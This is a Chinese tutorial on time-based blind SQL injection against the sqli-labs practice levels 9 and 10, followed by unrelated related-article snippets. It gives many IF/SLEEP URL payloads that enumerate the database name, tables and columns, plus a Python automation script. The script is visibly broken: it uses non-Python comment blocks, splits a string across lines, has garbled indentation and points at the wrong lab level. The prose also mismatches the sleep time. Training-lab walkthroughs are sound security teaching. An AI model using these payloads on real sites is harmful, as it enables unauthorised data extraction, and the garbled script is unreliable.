sql靶场-时间盲注(第九、十关)保姆级教程

news2025/3/16 17:55:43

目录

时间盲注(第九、十关)

1.判断

2.确认时间盲注

2.手工尝试时间盲注

数据库名长度

数据库名字符

表数

表名长度

表名字符

字段数

字段名长度

字段名字符

4.脚本时间盲注注入

5.第十关


时间盲注(第九、十关)
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

单引号的时间盲注测试

?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等,这里测试是单引号闭合的时间盲注

?id=1" AND IF(1=1, SLEEP(5), 0) --+

2.手工尝试时间盲注
数据库名长度

注入数据库名,如果不对不会延时,正确则会延时

?id=1' and if(length(database())>4,sleep(5),1)--+ 
?id=1' and if(length(database())>8,sleep(5),1)--+ 
?id=1' and if(length(database())>6,sleep(5),1)--+  

4-数据库长度测试2

5-数据库长度测试3

数据库名字符
?id=1'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))=110,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 

7-数据库字符测试2

8-数据库字符测试3

9-数据库字符测试4

10-数据库字符测试5

表数
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)--+ 
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)--+ 

12-表数测试2

表名长度
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)--+ 
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)--+ 

14-表名长度测试2

表名字符
?id=1'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+ 

字段数
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)--+ 
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)--+ 

17-字段数测试2

字段名长度
?id=1'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)--+ 

字段名字符
?id=1'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)--+ 

4.脚本时间盲注注入
import requests  #用于发送HTTP请求
import time      # 用于计算时间差

url = "http://127.0.0.1/sqli-labs/Less-8/"  # 目标注入点URL

def inject_database(url):

    name = ''  
    # 初始化空字符串,存储最终数据库名
    
    for i in range(1, 100): 
    # 遍历字符位置(假设数据库名最长99字符)
        low = 32  
        # ASCII可打印字符起始值(空格)
        high = 128 
        # ASCII结束值(DEL字符,实际只用到127)
        mid = (low + high) // 2  
        # 二分法初始中间值
        
        while low < high:  
        # 二分查找当前字符的ASCII值
           
           # 构造Payload:通过时间盲注判断字符ASCII值是否大于mid
            payload = " 
            1' and ( if( ascii( substr( (select( database()) ),%d,1 ) )>%d,sleep(1),0 ) ) and ('1')=('1    
            " % (i, mid)
            /**
            " "  里面是构造的Payload
            1'   闭合前面的单引号
            if() 里面是判断字符的ASCII值是否大于mid 
            ascii() 将字符转换为相应的ACSII值
            substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表i
            select( database()) 查询获取当前的数据库名
            ()>%d  第二个也就是这个%d是mid
            sleep( ) 查询暂停指定的秒数。通常用于测试或故意造成延迟
            and ('1')=('1  闭合
            % (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚
            */
            params = {"id": payload}  
            # 参数化请求
            #params 定义 HTTP GET 请求的 URL 参数,键值对形式传递数据
            #"id"目标网页接收的查询参数名(通常对应后端 SQL 查询的输入字段)

            start_time = time.time() 
            # time.time() 记录请求时间戳 记录请求开始时间
            r = requests.get(url, params=params) 
            # 发送HTTP GET请求
            /**
            base_url = "http://tieba.baidu.com/f?"  
			params = {"kw": "兔子", "pn": 100}  
			res = requests.get(base_url, params=params)  
			print(res.url) 
            # 输出:http://tieba.baidu.com/f?kw=兔子&pn=100‌:ml-citation{ref="1,3" data="citationList"}  
            */
            end_time = time.time()    
            # 记录请求结束时间

            # 判断响应时间是否超过1秒(触发sleep(1))
            if end_time - start_time > 1:
                low = mid + 1  
                # 当前字符ASCII值 > mid,调整下限
            else:
                high = mid     
                # 当前字符ASCII值 <= mid,调整上限
            mid = (low + high) // 2 
            # 更新中间值
       		# 当low >= high时,确定当前字符ASCII值为mid
        	if mid == 32:  
        	# 若mid为32(空格),终止循环
          	   break
        	name = name + chr(mid)  
        	# 将ASCII转为字符并拼接
      	    print(name)  
      	    # 实时输出当前结果
		
	inject_database(url)  
	# 执行注入函数

5.第十关

测试时间盲注的闭合方式

单引号的时间盲注测试

?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等

?id=1" AND IF(1=1, SLEEP(5), 0) --+

这里测试是双引号

剩下的步骤和第九关一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2316179.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

51c自动驾驶~合集54

我自己的原文哦~ https://blog.51cto.com/whaosoft/13517811 #Chameleon 快慢双系统&#xff01;清华&博世最新&#xff1a;无需训练即可解决复杂道路拓扑 在自动驾驶技术中&#xff0c;车道拓扑提取是实现无地图导航的核心任务之一。它要求系统不仅能检测出车道和交…

大模型推理:LM Studio在Mac上部署Deepseek-R1模型

LM Studio LM Studio是一款支持离线大模型部署的推理服务框架&#xff0c;提供了易用的大模型部署web框架&#xff0c;支持Linux、Mac、Windows等平台&#xff0c;并提供了OpenAI兼容的SDK接口&#xff0c;主要使用LLama.cpp和MLX推理后端&#xff0c;在Mac上部署时选择MLX推理…

扩散模型:AIGC领域的核心引擎,解锁图像生成新维度

一、扩散模型技术原理 扩散模型是一类生成模型&#xff0c;它运用了物理热力学中的扩散思想&#xff0c; 主要包括前向扩散和反向扩散两个过程。 1.1、生成模型 在深度学习中&#xff0c;生成模型的目标是根据给定的样本&#xff08;训练数据&#xff09; 生成新样本。首先给…

Java多线程与高并发专题——原子类和 volatile、synchronized 有什么异同?

原子类和 volatile异同 首先&#xff0c;通过我们对原子类和的了解&#xff0c;原子类和volatile 都能保证多线程环境下的数据可见性。在多线程程序中&#xff0c;每个线程都有自己的工作内存&#xff0c;当多个线程访问共享变量时&#xff0c;可能会出现一个线程修改了共享变…

【数据结构】数据结构,算法 概念

0.本篇问题&#xff1a; 数据、数据元素、数据对象、数据项之间的基本关系&#xff1f;ADT是什么&#xff1f;数据结构的三要素&#xff1f;数据的逻辑结构有哪些&#xff1f;数据的存储结构有哪些&#xff1f;算法的五个特征&#xff1f;O(1) O(logn) O(n^n) O(n) O(n^2…

总结 HTTP 协议的基本格式, 相关知识以及抓包工具fiddler的使用

目录 1 HTTP是什么 2 HTTP协议格式 3 HTTP请求(Request) 3.1 认识URL 3.2 方法 3.3 认识请求"报头"(header) 4 HTTP响应详解 4.1 认识"状态码"(statuscode) 4.2 认识响应"报头"(header) 4.3 认识响应"正⽂"(body) 5 通过f…

探索Maas平台与阿里 QWQ 技术:AI调参的魔法世界

摘要&#xff1a;本文介绍了蓝耘 Maas 平台在人工智能领域的表现及其核心优势&#xff0c;包括强大的模型支持、高效的资源调度和友好的操作界面。文章还探讨了蓝耘 Maas 平台与阿里 QWQ 技术的融合亮点及应用拓展实例&#xff0c;并提供了调参实战指南&#xff0c;最后对蓝耘 …

Linux第三次练习

1、创建根目录结构中的所有的普通文件 首先在根目录下面新创建一个test目录&#xff0c;然后将查找到的普通文件新建到test目录下 2、列出所有账号的账号名 3、将/etc/passwd中内容按照冒号隔开的第三个字符从大到小排序后输出所有内容 4、列出/etc/passwd中的第20行-25行内容…

软件测试知识总结

1、黑盒测试、白盒测试、灰盒测试 1.1 黑盒测试 黑盒测试又叫功能测试、数据驱动测试 或 基于需求规格说明书的功能测试。该类测试注重于测试软件的功能性需求。 采用这种测试方法&#xff0c;测试工程师把测试对象看作一个黑盒子&#xff0c;完全不考虑程序内部的逻辑结构和…

【HTML】三、表单与布局标签

文章目录 1、input1.1 input的占位文案1.2 单选框1.3 上传文件1.4 多选框 2、 下拉菜单3、文本域&#xff1a;多行输入4、label标签&#xff1a;说明与增大点击范围5、按钮与form表单6、无语义布局标签7、有语义的布局标签8、字符实体9、练习&#xff1a;注册页面 1、input in…

【结构设计】3D打印创想三维Ender 3 v2

【结构设计】3D打印创想三维Ender 3 v2 文章目录 前言一、Creality Slicer1.2.3打印参数设置二、配件更换1.捆扎绑扎线2.气动接头3D打印机配件插头3.3D打印机配件Ender3pro/V2喷头套件4.读卡器 TF卡5.micro sd卡 三、调平四、参考文章总结 前言 使用工具&#xff1a; 1.创想三…

UE小:UE5.5 PixelStreamingInfrastructure 使用时注意事项

1、鼠标默认显示 player.ts中的Config中添加HoveringMouse:true 然后运行typescript\package.json中的"build":npx webpack --config webpack.prod.js

Anaconda 入门指南

Anaconda 入门指南 一、下载安装 Anaconda 1、下载地址&#xff1a;Anaconda 推荐下载 python3 版本, 毕竟未来 python2 是要停止维护的。 2、安装 Anaconda 按照安装程序提示一步步安装就好了, 安装完成之后会多几个应用&#xff1a; Anaconda Navigtor &#xff1a;用于管…

web组态可视化编辑器

Web组态可视化编辑器是一种用于创建和配置工业自动化、物联网&#xff08;IoT&#xff09;和智能建筑等领域的图形化用户界面&#xff08;GUI&#xff09;的工具。它允许用户通过拖放组件、配置参数和连接数据源来设计和部署实时监控和控制界面。以下是一些常见的Web组态可视化…

CTA重建:脑血管重建,CT三维重建,三维建模 技术,实现

CTA&#xff08;CT血管造影&#xff09;是一种基于CT扫描的医学成像技术&#xff0c;主要用于血管系统的三维重建和可视化。脑血管重建是CTA的重要应用之一&#xff0c;能够帮助医生诊断脑血管疾病&#xff08;如动脉瘤、狭窄、畸形等&#xff09;。以下是实现CTA脑血管重建、C…

Ollama+OpenWebUI本地部署大模型

OllamaOpenWebUI本地部署大模型 前言Ollama使用Ollama安装Ollama修改配置Ollama 拉取远程大模型Ollama 构建本地大模型Ollama 运行本地模型&#xff1a;命令行交互Api调用Web 端调用 总结 前言 Ollama是一个开源项目&#xff0c;用于在本地计算机上运行大型语言模型&#xff0…

如何打包数据库mysql数据,并上传到虚拟机上进行部署?

1.连接数据库&#xff0c;使得我们能看到数据库信息&#xff0c;才能进行打包上传 2. 3. 导出结果如下&#xff0c;是xml文件 4.可以查询每个xml文件的属性&#xff0c;确保有大小&#xff0c;这样才是真实导出 5跟着黑马&#xff0c;新建文件夹&#xff0c;并且把对应的东西放…

Vue 自定义指令深度解析与应用实践

文章目录 1. 自定义指令概述1.1 核心概念1.2 指令生命周期 2. 自定义指令基础2.1 指令注册2.2 指令使用 3. 指令钩子函数详解3.1 钩子函数参数3.2 钩子函数示例 4. 自定义指令应用场景4.1 表单自动聚焦4.2 权限控制4.3 图片懒加载 5. 高级应用技巧5.1 动态指令参数5.2 指令修饰…

Android 手机启动过程

梳理 为了梳理思路&#xff0c;笔者画了一幅关于 Android 手机启动的过程图片内容纯属个人见解&#xff0c;如有错误&#xff0c;欢迎各位指正

Unity 开发资源汇总 | 插件 | 模型 | 源码(不断更新中,建议收藏)

&#x1f493; 欢迎访问 Unity 打怪升级大本营 Unity是一个强大的游戏开发平台&#xff0c;它提供了丰富的工具和资源&#xff0c;让开发者能够创造出令人惊叹的游戏和交互式体验。无论你是初学者还是经验丰富的开发者&#xff0c;Unity的生态系统中总有一些资源可以帮助你提升…